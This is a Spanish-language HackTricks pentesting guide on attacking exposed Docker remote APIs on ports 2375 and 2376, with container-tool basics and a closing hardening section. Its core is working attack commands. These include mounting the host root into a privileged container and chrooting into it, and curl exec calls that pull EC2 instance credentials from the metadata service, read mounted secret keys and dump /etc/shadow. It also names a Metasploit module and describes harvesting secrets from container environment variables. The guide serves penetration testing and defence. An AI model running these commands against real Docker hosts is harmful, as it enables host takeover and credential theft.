hacktricks/network-services-pentesting/2375-pentesting-docker.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

24 KiB
Raw Blame History

2375, 2376 Pentesting Docker

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Conceptos básicos de Docker

¿Qué es?

La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar.

Arquitectura básica de Docker

Esta información se encuentra aquí.

  • containerd es un tiempo de ejecución de contenedores que puede administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores. Más información sobre containerd a continuación.
  • container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
  • runc es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI. También es el empaquetado de libcontainer.
  • grpc se utiliza para la comunicación entre containerd y docker-engine.
  • OCI mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI.

runC, containerD

Comandos básicos

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como la red están fuera del alcance de containerd. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux.

Tenga en cuenta que Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine 
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Información de aquí

Podman es un motor de contenedores de código abierto compatible con OCI (Open Container Initiative). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, ambas herramientas hacen lo mismo: gestionar imágenes y contenedores. Uno de los objetivos de Podman es tener una API compatible con Docker. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman.

Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. Por favor, consulte GitHub para obtener más información sobre estas herramientas y su relación con Podman.

Las principales diferencias

La mayor diferencia entre Docker y Podman es su arquitectura. Docker se ejecuta en una arquitectura cliente-servidor, mientras que Podman se ejecuta en una arquitectura sin daemon. Pero, ¿qué significa eso? Al trabajar con Docker, debe usar la CLI de Docker, que se comunica con un daemon en segundo plano (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este daemon se ejecuta con privilegios de root. La arquitectura de Podman, por el contrario, le permite ejecutar los contenedores bajo el usuario que está iniciando el contenedor (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores. No hay un daemon común con el que la herramienta CLI se comunique.

Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con systemd, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon.

La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con Podman, los contenedores se ejecutan con los privilegios del usuario y no con los del daemon. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.

{% hint style="info" %} Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

Información básica

El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.

Puerto por defecto: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeración

Manual

Tenga en cuenta que para enumerar la API de Docker, puede utilizar el comando docker o curl como en el siguiente ejemplo:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
 Version:           19.03.1
 API version:       1.40
 Go version:        go1.12.5
 Git commit:        74b1e89
 Built:             Thu Jul 25 21:21:05 2019
 OS/Arch:           linux/amd64
 Experimental:      false

Server: Docker Engine - Community
 Engine:
  Version:          19.03.1
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.12.5
  Git commit:       74b1e89
  Built:            Thu Jul 25 21:19:41 2019
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.2.6
  GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
 runc:
  Version:          1.0.0-rc8
  GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
 docker-init:
  Version:          0.18.0
  GitCommit:        fec3683

Si puedes contactar la API remota de Docker con el comando docker, puedes ejecutar cualquiera de los comandos de Docker previamente comentados para interactuar con el servicio.

{% hint style="info" %} Puedes exportar DOCKER_HOST="tcp://localhost:2375" y evitar usar el parámetro -H con el comando docker. {% endhint %}

Escalada rápida de privilegios

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

En ocasiones, verás que el puerto 2376 está disponible para el punto final TLS. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker.

#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automático

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Comprometiendo

En la siguiente página puedes encontrar formas de escapar de un contenedor de Docker:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Escalada de privilegios

Si estás dentro de un host que está utilizando Docker, puedes leer esta información para intentar elevar privilegios.

Descubriendo secretos en contenedores Docker en ejecución

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Revisa la sección env (variables de entorno) en busca de secretos y podrías encontrar:

  • Contraseñas.
  • IPs.
  • Puertos.
  • Rutas.
  • Otros...

Si deseas extraer un archivo:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Asegurando tu Docker

Asegurando la instalación y uso de Docker

  • Puedes usar la herramienta https://github.com/docker/docker-bench-security para inspeccionar tu instalación actual de Docker.
    • ./docker-bench-security.sh
  • Puedes usar la herramienta https://github.com/kost/dockscan para inspeccionar tu instalación actual de Docker.
    • dockscan -v unix:///var/run/docker.sock
  • Puedes usar la herramienta https://github.com/genuinetools/amicontained para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
    • docker run --rm -it r.j3ss.co/amicontained
    • docker run --rm -it --pid host r.j3ss.co/amicontained
    • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Asegurando las imágenes de Docker

  • Puedes usar una imagen de Docker de https://github.com/quay/clair para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
    • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
    • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Asegurando los Dockerfiles

Registrando actividad sospechosa

  • Puedes usar la herramienta https://github.com/falcosecurity/falco para detectar comportamientos sospechosos en contenedores en ejecución.
    • Observa en el siguiente fragmento cómo Falco compila un módulo del kernel e lo inserta. Después, carga las reglas y comienza a registrar actividades sospechosas. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
 - Original module
   - No original module exists within this kernel
 - Installation
   - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitoreo de Docker

Puede utilizar auditd para monitorear Docker.